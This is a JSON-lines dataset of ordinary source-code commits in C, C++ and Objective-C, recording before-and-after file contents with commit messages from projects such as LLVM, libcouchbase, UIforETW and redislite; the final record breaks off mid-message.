{"commit":"9c1035bc14a399b6bf5d45a8cce233d0fc340c53","old_file":"src\/file\/keydb.h","new_file":"src\/file\/keydb.h","old_contents":"\n\/* encrypted keys *\/\n\nstatic const uint32_t internal_device_number = 0;\n\nstatic const uint8_t internal_dk_list[][21] = {\n  {\n  },\n};\n\nstatic const uint8_t internal_pk_list[][16] = {\n  {\n  },\n};\n\nstatic const uint8_t internal_hc_list[][112] = {\n  {\n  },\n};\n\n\/* customize this function to \"hide\" the keys in the binary *\/\n\nstatic void decrypt_key(uint8_t *out, const uint8_t *in, size_t size)\n{\n    memcpy(out, in, size);\n}\n","new_contents":"\n\/* encrypted keys *\/\n\nstatic const uint32_t internal_device_number = 0;\n\nstatic const uint8_t internal_dk_list[][21] = {\n  { 0 },\n};\n\nstatic const uint8_t internal_pk_list[][16] = {\n  { 0 },\n};\n\nstatic const uint8_t internal_hc_list[][112] = {\n  { 0 },\n};\n\n\/* customize this function to \"hide\" the keys in the binary *\/\n\nstatic void decrypt_key(uint8_t *out, const uint8_t *in, size_t size)\n{\n    memcpy(out, in, size);\n}\n","subject":"Fix MSVC error C2133 : unknown size of multi-dimensional static const arrays (despite supposed support of C99). Have not confirmed if this breaks anything yet.","message":"Fix MSVC error C2133 : unknown size of multi-dimensional static const arrays (despite supposed support of C99). Have not confirmed if this breaks anything yet.\n","lang":"C","license":"lgpl-2.1","repos":"mwgoldsmith\/aacs,mwgoldsmith\/aacs"}
{"commit":"f8f89faeb05c179ebe69871d7e08d3d8ce9f238b","old_file":"src\/mctx-helper.h","new_file":"src\/mctx-helper.h","old_contents":"","new_contents":"\/*\n *     Copyright 2016 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#ifndef LCB_MCTX_HELPER_H\n#define LCB_MCTX_HELPER_H\n#include <libcouchbase\/couchbase.h>\n\nnamespace lcb {\n\nclass MultiCmdContext : public lcb_MULTICMD_CTX {\nprotected:\n    virtual lcb_error_t MCTX_addcmd(const lcb_CMDBASE* cmd) = 0;\n    virtual lcb_error_t MCTX_done(const void *cookie) = 0;\n    virtual void MCTX_fail() = 0;\n\n    MultiCmdContext() {\n        lcb_MULTICMD_CTX::addcmd = dispatch_mctx_addcmd;\n        lcb_MULTICMD_CTX::done = dispatch_mctx_done;\n        lcb_MULTICMD_CTX::fail = dispatch_mctx_fail;\n    }\n\n    virtual ~MultiCmdContext() {}\n\nprivate:\n    static lcb_error_t dispatch_mctx_addcmd(lcb_MULTICMD_CTX* ctx, const lcb_CMDBASE * cmd) {\n        return static_cast<MultiCmdContext*>(ctx)->MCTX_addcmd(cmd);\n    }\n    static lcb_error_t dispatch_mctx_done(lcb_MULTICMD_CTX* ctx, const void *cookie) {\n        return static_cast<MultiCmdContext*>(ctx)->MCTX_done(cookie);\n    }\n    static void dispatch_mctx_fail(lcb_MULTICMD_CTX* ctx) {\n        static_cast<MultiCmdContext*>(ctx)->MCTX_fail();\n    }\n};\n\n}\n\n#endif\n","subject":"Add C++ helper for MULTICMD_CTX","message":"Add C++ helper for MULTICMD_CTX\n\nThis allows us to use virtual functions rather than C-style callbacks\n\nChange-Id: Id8d40c5f36b5700f941400118acb30a2284a4027\nReviewed-on: http:\/\/review.couchbase.org\/71370\nTested-by: buildbot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\nReviewed-by: Brett Lawson <c8c4369773d7d7226e031f0c4af62e3f38a08510@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"avsej\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,kojiromike\/libcouchbase,kojiromike\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,couchbase\/libcouchbase,mody\/libcouchbase,avsej\/libcouchbase,kojiromike\/libcouchbase,mody\/libcouchbase,mody\/libcouchbase,mody\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,couchbase\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,kojiromike\/libcouchbase"}
{"commit":"a39391dbdd26b3c6aaa4ffa2a4a7f50e4982d175","old_file":"src\/command\/command_version.c","new_file":"src\/command\/command_version.c","old_contents":"#include \"server\/bedrock.h\"\n#include \"server\/command.h\"\n\nvoid command_version(struct bedrock_client *client, int bedrock_attribute_unused argc, const char bedrock_attribute_unused **argv)\n{\n\tcommand_reply(client, \"Bedrock version %d.%d%s Compiled on %s %s.\", BEDROCK_VERSION_MAJOR, BEDROCK_VERSION_MINOR, BEDROCK_VERSION_EXTRA, __DATE__, __TIME__);\n}\n","new_contents":"#include \"server\/bedrock.h\"\n#include \"server\/command.h\"\n\nvoid command_version(struct bedrock_client *client, int bedrock_attribute_unused argc, const char bedrock_attribute_unused **argv)\n{\n\tcommand_reply(client, \"Bedrock version %d.%d%s, built on %s %s.\", BEDROCK_VERSION_MAJOR, BEDROCK_VERSION_MINOR, BEDROCK_VERSION_EXTRA, __DATE__, __TIME__);\n}\n","subject":"Change \/version output to be more like -version","message":"Change \/version output to be more like -version\n","lang":"C","license":"bsd-2-clause","repos":"Adam-\/bedrock,Adam-\/bedrock"}
{"commit":"9767f98ff5b6486b06e7bc5af8a761f6e5d3f82a","old_file":"static_ar_param.c","new_file":"static_ar_param.c","old_contents":"int f(int x[static volatile \/*const*\/ 10])\n{\n\treturn *++x;\n}\n\nmain()\n{\n\tint x[5];\n\tx[1] = 2;\n\tf(x);\n\t\/\/int y[1];\n\t\/\/int *y;\n\t\/\/#define y (void *)0\n\t\/\/pipe(y);\n}\n","new_contents":"int f(int x[static \/*const*\/ 10])\n{\n\treturn *++x;\n}\n\nmain()\n{\n\tint x[5];\n\tx[1] = 2;\n\tf(x);\n\t\/\/int y[1];\n\t\/\/int *y;\n\t\/\/#define y (void *)0\n\t\/\/pipe(y);\n}\n","subject":"Remove volatile from test (decl_equal doesn't check properly for now)","message":"Remove volatile from test (decl_equal doesn't check properly for now)\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"a2259e17b7c657ddeb0c3a03a5ca291ca4e0dc7e","old_file":"include\/llvm\/Support\/SystemUtils.h","new_file":"include\/llvm\/Support\/SystemUtils.h","old_contents":"\/\/===- SystemUtils.h - Utilities to do low-level system stuff ---*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains functions used to do a variety of low-level, often\n\/\/ system-specific, tasks.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SUPPORT_SYSTEMUTILS_H\n#define LLVM_SUPPORT_SYSTEMUTILS_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n  namespace sys { class Path; }\n\n\/\/\/ Determine if the raw_ostream provided is connected to the outs() and\n\/\/\/ displayed or not (to a console window). If so, generate a warning message\n\/\/\/ advising against display of bitcode and return true. Otherwise just return\n\/\/\/ false\n\/\/\/ @brief Check for output written to a console\nbool CheckBitcodeOutputToConsole(\n  raw_ostream &stream_to_check, \/\/\/< The stream to be checked\n  bool print_warning = true     \/\/\/< Control whether warnings are printed\n);\n\n\/\/\/ FindExecutable - Find a named executable, giving the argv[0] of program\n\/\/\/ being executed. This allows us to find another LLVM tool if it is built in\n\/\/\/ the same directory.  If the executable cannot be found, return an\n\/\/\/ empty string.\n\/\/\/ @brief Find a named executable.\nsys::Path FindExecutable(const std::string &ExeName,\n                         const char *Argv0, void *MainAddr);\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- SystemUtils.h - Utilities to do low-level system stuff ---*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains functions used to do a variety of low-level, often\n\/\/ system-specific, tasks.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SUPPORT_SYSTEMUTILS_H\n#define LLVM_SUPPORT_SYSTEMUTILS_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n  namespace sys { class Path; }\n\n\/\/\/ Determine if the raw_ostream provided is connected to a terminal. If so,\n\/\/\/ generate a warning message to errs() advising against display of bitcode\n\/\/\/ and return true. Otherwise just return false.\n\/\/\/ @brief Check for output written to a console\nbool CheckBitcodeOutputToConsole(\n  raw_ostream &stream_to_check, \/\/\/< The stream to be checked\n  bool print_warning = true     \/\/\/< Control whether warnings are printed\n);\n\n\/\/\/ FindExecutable - Find a named executable, giving the argv[0] of program\n\/\/\/ being executed. This allows us to find another LLVM tool if it is built in\n\/\/\/ the same directory.  If the executable cannot be found, return an\n\/\/\/ empty string.\n\/\/\/ @brief Find a named executable.\nsys::Path FindExecutable(const std::string &ExeName,\n                         const char *Argv0, void *MainAddr);\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Reword this comment. Don't mention outs(), as that's not what this code is actually testing for.","message":"Reword this comment. Don't mention outs(), as that's not what\nthis code is actually testing for.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@112767 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"9dbc3499ffe79aad16cb5d583a895ab045771814","old_file":"src\/qmapboxgl_p.h","new_file":"src\/qmapboxgl_p.h","old_contents":"#ifndef QMAPBOXGL_P_H\n#define QMAPBOXGL_P_H\n\n#include <mbgl\/map\/map.hpp>\n#include <mbgl\/map\/view.hpp>\n#include <mbgl\/storage\/default_file_source.hpp>\n\nnamespace mbgl {\n\nclass Map;\nclass FileSource;\n\n}  \/\/ namespace mbgl\n\nclass QOpenGLContext;\n\nclass QMapboxGLPrivate : public mbgl::View\n{\npublic:\n    explicit QMapboxGLPrivate(QMapboxGL *q);\n    virtual ~QMapboxGLPrivate();\n\n    \/\/ mbgl::View implementation.\n    void activate() override {}\n    void deactivate() override;\n    void notify() override {}\n    void invalidate(std::function<void()> renderCallback) override;\n\n    mbgl::DefaultFileSource fileSource;\n    mbgl::Map map;\n\n    int lastX = 0;\n    int lastY = 0;\n\n    QOpenGLContext *context = nullptr;\n\n    QMapboxGL *q_ptr;\n};\n\n#endif \/\/ QMAPBOXGL_P_H\n","new_contents":"#ifndef QMAPBOXGL_P_H\n#define QMAPBOXGL_P_H\n\n#include <mbgl\/map\/map.hpp>\n#include <mbgl\/map\/view.hpp>\n#include <mbgl\/storage\/default_file_source.hpp>\n\nnamespace mbgl {\n\nclass Map;\nclass FileSource;\n\n}  \/\/ namespace mbgl\n\nclass QOpenGLContext;\n\nclass QMapboxGLPrivate : public mbgl::View\n{\npublic:\n    explicit QMapboxGLPrivate(QMapboxGL *q);\n    virtual ~QMapboxGLPrivate();\n\n    \/\/ mbgl::View implementation.\n    void activate() final {}\n    void deactivate() final;\n    void notify() final {}\n    void invalidate(std::function<void()> renderCallback) final;\n\n    mbgl::DefaultFileSource fileSource;\n    mbgl::Map map;\n\n    int lastX = 0;\n    int lastY = 0;\n\n    QOpenGLContext *context = nullptr;\n\n    QMapboxGL *q_ptr;\n};\n\n#endif \/\/ QMAPBOXGL_P_H\n","subject":"Use final for virtual methods on private impl of mbgl::View","message":"Use final for virtual methods on private impl of mbgl::View\n\nThis is a private implementation, so we know that no one else will\ninherit from that.\n","lang":"C","license":"bsd-2-clause","repos":"tmpsantos\/qmapboxgl"}
{"commit":"32ff92d924c1d0f0dfbc1d246484d8e7341f1eb1","old_file":"test\/CodeGen\/CBackend\/2007-01-06-Signless.c","new_file":"test\/CodeGen\/CBackend\/2007-01-06-Signless.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | llvm-as | llc -march=c | \\\n\/\/ RUN:  grep '(unsigned short'\n\nint Z = -1;\n\nint test(unsigned short X, short Y) { return X+Y+Z; }\n","subject":"Add a test case for PR1086","message":"Add a test case for PR1086\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@32977 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap"}
{"commit":"bb8caf35f64b4df0762ab74d0380d61d307e7296","old_file":"parameter_type.h","new_file":"parameter_type.h","old_contents":"","new_contents":"\/\/\/\\file\n\n\/******************************************************************************\nThe MIT License(MIT)\n\nEmbedded Template Library.\n\nCopyright(c) 2014 jwellbelove\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files(the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions :\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n******************************************************************************\/\n\n#ifndef __ETL_PARAMETER__\n#define __ETL_PARAMETER__\n\nnamespace etl\n{\n  \/\/*************************************************************************\n  \/\/\/ Determine how to pass parameters.\n  \/\/*************************************************************************\n  template <typename U, const bool should_pass_by_value>\n  struct parameter_type;\n\n  \/\/*************************************************************************\n  \/\/\/ Pass by value.\n  \/\/*************************************************************************\n  template <typename U>\n  struct parameter_type<U, true>\n  {\n    typedef U type;\n  };\n\n  \/\/*************************************************************************\n  \/\/\/ Pass by const reference.\n  \/\/*************************************************************************\n  template <typename U>\n  struct parameter_type<U, false>\n  {\n    typedef const U& type;\n  };\n}\n\n#endif\n","subject":"Choose between value and const reference type","message":"Choose between value and const reference type\n\nChoose between value and const reference based on boolean template\nparameter\n","lang":"C","license":"mit","repos":"ETLCPP\/etl,17twenty\/etl,ETLCPP\/etl,ETLCPP\/etl,GatorQue\/etl,venkatarajasekhar\/etl,17twenty\/etl,GatorQue\/etl,17twenty\/etl,ETLCPP\/etl,venkatarajasekhar\/etl,venkatarajasekhar\/etl,GatorQue\/etl"}
{"commit":"207e799a003fc63548402e00f382046b1dbf9a17","old_file":"src\/tokenizers\/strspn.h","new_file":"src\/tokenizers\/strspn.h","old_contents":"#ifndef SIMHASH_TOKENIZERS__UTIL_H\n#define SIMHASH_TOKENIZERS__UTIL_H\n\n#include <string.h>\n\nnamespace Simhash {\n    struct Strspn {\n        \/* Return the length of the token starting at last *\/\n        const char* operator()(const char* last) {\n            size_t s = strspn(last,\n                \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n            return (*last != '\\0') ? last + s : NULL;\n        }\n    };\n}\n\n#endif\n","new_contents":"#ifndef SIMHASH_TOKENIZERS_STRSPN_H\n#define SIMHASH_TOKENIZERS_STRSPN_H\n\n#include <string.h>\n\nnamespace Simhash {\n    struct Strspn {\n        \/* Return the length of the token starting at last *\/\n        const char* operator()(const char* last) {\n            size_t s = strspn(last,\n                \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n            return (*last != '\\0') ? last + s : NULL;\n        }\n    };\n}\n\n#endif\n","subject":"Fix illegal (double underscore) include guard.","message":"Fix illegal (double underscore) include guard.\n","lang":"C","license":"mit","repos":"pombredanne\/simhash-cpp,pombredanne\/simhash-cpp,seomoz\/simhash-cpp,seomoz\/simhash-cpp"}
{"commit":"99140205fe727eda9ca88ecb93f954651d2d9fd3","old_file":"src\/unix_core.c","new_file":"src\/unix_core.c","old_contents":"\/*\n * This file is covered by the Internet Software Consortium (ISC) License\n * Reference: ..\/License.txt\n *\n * __nohang_waitpid is linked directly into Synth but it's related to synthexec\n * so let's keep the C files together.\n * return:\n *    0 when process is still running\n *    1 when process exited normally\n *    2 when process exited with error\n *\n * __launch_process takes a pointer to an array of null-terminated string\n * pointers are returns the pid of the child process, or -1 upon failure\n *\/\n\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\nu_int8_t\n__nohang_waitpid (pid_t process_pid)\n{\n  int status = 0;\n\n  int pid = waitpid (process_pid, &status, WNOHANG);\n\n  if (pid == 0)\n    {\n      return 0;\n    }\n  if (WIFEXITED (status) && (WEXITSTATUS (status) == 0))\n    {\n      return 1;\n    }\n  else\n    {\n      return 2;\n    }\n}\n","new_contents":"\/*\n * This file is covered by the Internet Software Consortium (ISC) License\n * Reference: ..\/License.txt\n *\n * __nohang_waitpid is linked directly into Synth but it's related to synthexec\n * so let's keep the C files together.\n * return:\n *    0 when process is still running\n *    1 when process exited normally\n *    2 when process exited with error\n *\/\n\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\nu_int8_t\n__nohang_waitpid (pid_t process_pid)\n{\n  int status = 0;\n\n  int pid = waitpid (process_pid, &status, WNOHANG);\n\n  if (pid == 0)\n    {\n      return 0;\n    }\n  if (WIFEXITED (status) && (WEXITSTATUS (status) == 0))\n    {\n      return 1;\n    }\n  else\n    {\n      return 2;\n    }\n}\n","subject":"Remove comment that is no longer applicable","message":"Remove comment that is no longer applicable\n","lang":"C","license":"isc","repos":"jrmarino\/synth,jrmarino\/synth,jrmarino\/synth,jrmarino\/synth"}
{"commit":"193366492715a171a398c68b874b5a4d9264718a","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.40f;\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.41f;\r\n","subject":"Increment version number to 1.41","message":"Increment version number to 1.41\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,ariccio\/UIforETW,ariccio\/UIforETW,mwinterb\/UIforETW,mwinterb\/UIforETW,google\/UIforETW,google\/UIforETW,MikeMarcin\/UIforETW,mwinterb\/UIforETW,google\/UIforETW,MikeMarcin\/UIforETW,MikeMarcin\/UIforETW,ariccio\/UIforETW,google\/UIforETW"}
{"commit":"49b8e80371bfa380dd34168a92d98b639ca1202a","old_file":"src\/test.c","new_file":"src\/test.c","old_contents":"#include \"redislite.h\"\n#include <string.h>\n\nstatic void test_add_key(redislite *db)\n{\n\tint rnd = arc4random();\n\tchar key[14];\n\tsprintf(key, \"%d\", rnd);\n\tint size = strlen(key);\n\n\tredislite_insert_key(db, key, size, 0);\n}\n\nint main() {\n\tredislite *db = redislite_open_database(\"test.db\");\n\tint i;\n\tfor (i=0; i < 100; i++)\n\t\ttest_add_key(db);\n\tredislite_close_database(db);\n\treturn 0;\n}\n","new_contents":"#include \"redislite.h\"\n#include <string.h>\n\nstatic void test_add_key(redislite *db)\n{\n\tint rnd = rand();\n\tchar key[14];\n\tsprintf(key, \"%d\", rnd);\n\tint size = strlen(key);\n\n\tredislite_insert_key(db, key, size, 0);\n}\n\nint main() {\n\tredislite *db = redislite_open_database(\"test.db\");\n\tint i;\n\tfor (i=0; i < 100; i++)\n\t\ttest_add_key(db);\n\tredislite_close_database(db);\n\treturn 0;\n}\n","subject":"Use rand instead of arc4random (linux doesn't support it)","message":"Use rand instead of arc4random (linux doesn't support it)\n","lang":"C","license":"bsd-2-clause","repos":"seppo0010\/redislite,seppo0010\/redislite,pombredanne\/redislite,pombredanne\/redislite"}
{"commit":"d5c5dedbd8284dc6e20d1c86f370a025ad5c3d25","old_file":"fq\/indexed_array_queue.h","new_file":"fq\/indexed_array_queue.h","old_contents":"\n\/*\n * Copyright 2017 Brandon Yannoni\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INDEXED_ARRAY_QUEUE_H\n#define INDEXED_ARRAY_QUEUE_H\n\n#include <pthread.h>\n\n#include \"..\/function_queue_element.h\"\n#include \"..\/function_queue.h\"\n#include \"..\/qterror.h\"\n\n\/*\n * This structure is used to store the function queue elements and any\n * persistant data necessary for the manipulation procedures.\n *\/\nstruct fqindexedarray {\n\t\/* a pointer to an element array *\/\n\tstruct function_queue_element* elements;\n\tpthread_mutex_t lock; \/* unused *\/\n\tpthread_cond_t wait; \/* unused *\/\n\tunsigned int front; \/* the index of the \"first\" element *\/\n\tunsigned int back; \/* the index of the \"last\" element *\/\n};\n\nextern const struct fqdispatchtable fqdispatchtableia;\n\n#endif\n\n","new_contents":"\n\/*\n * Copyright 2017 Brandon Yannoni\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INDEXED_ARRAY_QUEUE_H\n#define INDEXED_ARRAY_QUEUE_H\n\n#include <pthread.h>\n\n#include \"..\/function_queue_element.h\"\n#include \"..\/function_queue.h\"\n#include \"..\/qterror.h\"\n\n\/*\n * This structure is used to store the function queue elements and any\n * persistant data necessary for the manipulation procedures.\n *\/\nstruct fqindexedarray {\n\t\/* a pointer to an element array *\/\n\tstruct function_queue_element* elements;\n\tunsigned int front; \/* the index of the \"first\" element *\/\n\tunsigned int back; \/* the index of the \"last\" element *\/\n};\n\nextern const struct fqdispatchtable fqdispatchtableia;\n\n#endif\n\n","subject":"Remove unused members in fqindexedarray structure","message":"Remove unused members in fqindexedarray structure\n","lang":"C","license":"apache-2.0","repos":"byannoni\/qthreads"}
{"commit":"df538417a40cde965fa2d16ceab38322b17a8097","old_file":"iOS\/PlayPlan\/Profile\/ProfileViewController.h","new_file":"iOS\/PlayPlan\/Profile\/ProfileViewController.h","old_contents":"\/\/\n\/\/  ProfileViewController.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/11\/8.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"PlayPlan.h\"\n\n@class ProfileViewController;\n\n@protocol MainDelegate <NSObject>\n\n- (void)dismissViewController:(MainViewController *)mainViewController;\n\n@end\n\n@interface ProfileViewController : UIViewController <UITableViewDelegate, UITableViewDataSource>\n\n@end\n","new_contents":"\/\/\n\/\/  ProfileViewController.h\n\/\/  PlayPlan\n\/\/\n\/\/  Created by Zeacone on 15\/11\/8.\n\/\/  Copyright © 2015年 Zeacone. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"PlayPlan.h\"\n\n@class ProfileViewController;\n\n@protocol MainDelegate <NSObject>\n\n- (void)dismissViewController:(ProfileViewController *)mainViewController;\n\n@end\n\n@interface ProfileViewController : UIViewController <UITableViewDelegate, UITableViewDataSource>\n\n@end\n","subject":"Add delegate for profile view controller.","message":"Add delegate for profile view controller.\n","lang":"C","license":"mit","repos":"Zeacone\/PlayPlan,Zeacone\/PlayPlan"}
{"commit":"ee2ec81c8667f117fdbd4e3c02dce9170eefd221","old_file":"VYNFCKit\/VYNFCNDEFPayloadParser.h","new_file":"VYNFCKit\/VYNFCNDEFPayloadParser.h","old_contents":"\/\/\n\/\/  VYNFCNDEFPayloadParser.h\n\/\/  VYNFCKit\n\/\/\n\/\/  Created by Vince Yuan on 7\/8\/17.\n\/\/  Copyright © 2017 Vince Yuan. All rights reserved.\n\/\/\n\/\/  This source code is licensed under the MIT-style license found in the\n\/\/  LICENSE file in the root directory of this source tree.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class NFCNDEFPayload, VYNFCNDEFMessageHeader;\n\n@interface VYNFCNDEFPayloadParser : NSObject\n\n+ (nullable id)parse:(nullable NFCNDEFPayload *)payload;\n+ (nullable VYNFCNDEFMessageHeader *)parseMessageHeader:(nullable unsigned char*)payloadBytes length:(NSUInteger)length;\n\n@end\n","new_contents":"\/\/\n\/\/  VYNFCNDEFPayloadParser.h\n\/\/  VYNFCKit\n\/\/\n\/\/  Created by Vince Yuan on 7\/8\/17.\n\/\/  Copyright © 2017 Vince Yuan. All rights reserved.\n\/\/\n\/\/  This source code is licensed under the MIT-style license found in the\n\/\/  LICENSE file in the root directory of this source tree.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class NFCNDEFPayload, VYNFCNDEFMessageHeader;\n\nAPI_AVAILABLE(ios(11.0)) API_UNAVAILABLE(watchos, macos, tvos)\n@interface VYNFCNDEFPayloadParser : NSObject\n\n+ (nullable id)parse:(nullable NFCNDEFPayload *)payload;\n+ (nullable VYNFCNDEFMessageHeader *)parseMessageHeader:(nullable unsigned char*)payloadBytes length:(NSUInteger)length;\n\n@end\n","subject":"Remove partial availability warning by adding API_AVAILABLE.","message":"Remove partial availability warning by adding API_AVAILABLE.\n","lang":"C","license":"mit","repos":"vinceyuan\/VYNFCKit,vinceyuan\/VYNFCKit"}
{"commit":"9075cf1aa531252ffd4b97bddcbc4ca702da5436","old_file":"utils.c","new_file":"utils.c","old_contents":"char* file_to_buffer(const char *filename) {\n    struct stat sb;\n    stat(filename, &sb);\n    char *buffer = (char*) malloc(sb.st_size * sizeof(char));\n    FILE *f = fopen(filename, \"rb\");\n    assert(fread((void*) buffer, sizeof(char), sb.st_size, f));\n    fclose(f);\n    return buffer;\n}\n","new_contents":"char* file_to_buffer(const char *filename) {\n    struct stat sb;\n    stat(filename, &sb);\n    char *buffer = (char*) malloc(sb.st_size * sizeof(char));\n    FILE *f = fopen(filename, \"rb\");\n    assert(fread((void*) buffer, sizeof(char), sb.st_size, f));\n    fclose(f);\n    return buffer;\n}\n\nvoid* mmalloc(size_t sz, char *filename) {\n    int fd = open(filename, O_RDWR | O_CREAT, 0666);\n    assert(fd != -1);\n    char v = 0;\n    for (size_t i = 0; i < sz; i++) {\n        assert(write(fd, &v, sizeof(char)));\n    }\n    void *map = mmap(NULL, sz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);\n    madvise(map, sz, MADV_RANDOM);\n    return map;\n}\n","subject":"Implement dirty unallocatable memory mapped alloc.","message":"Implement dirty unallocatable memory mapped 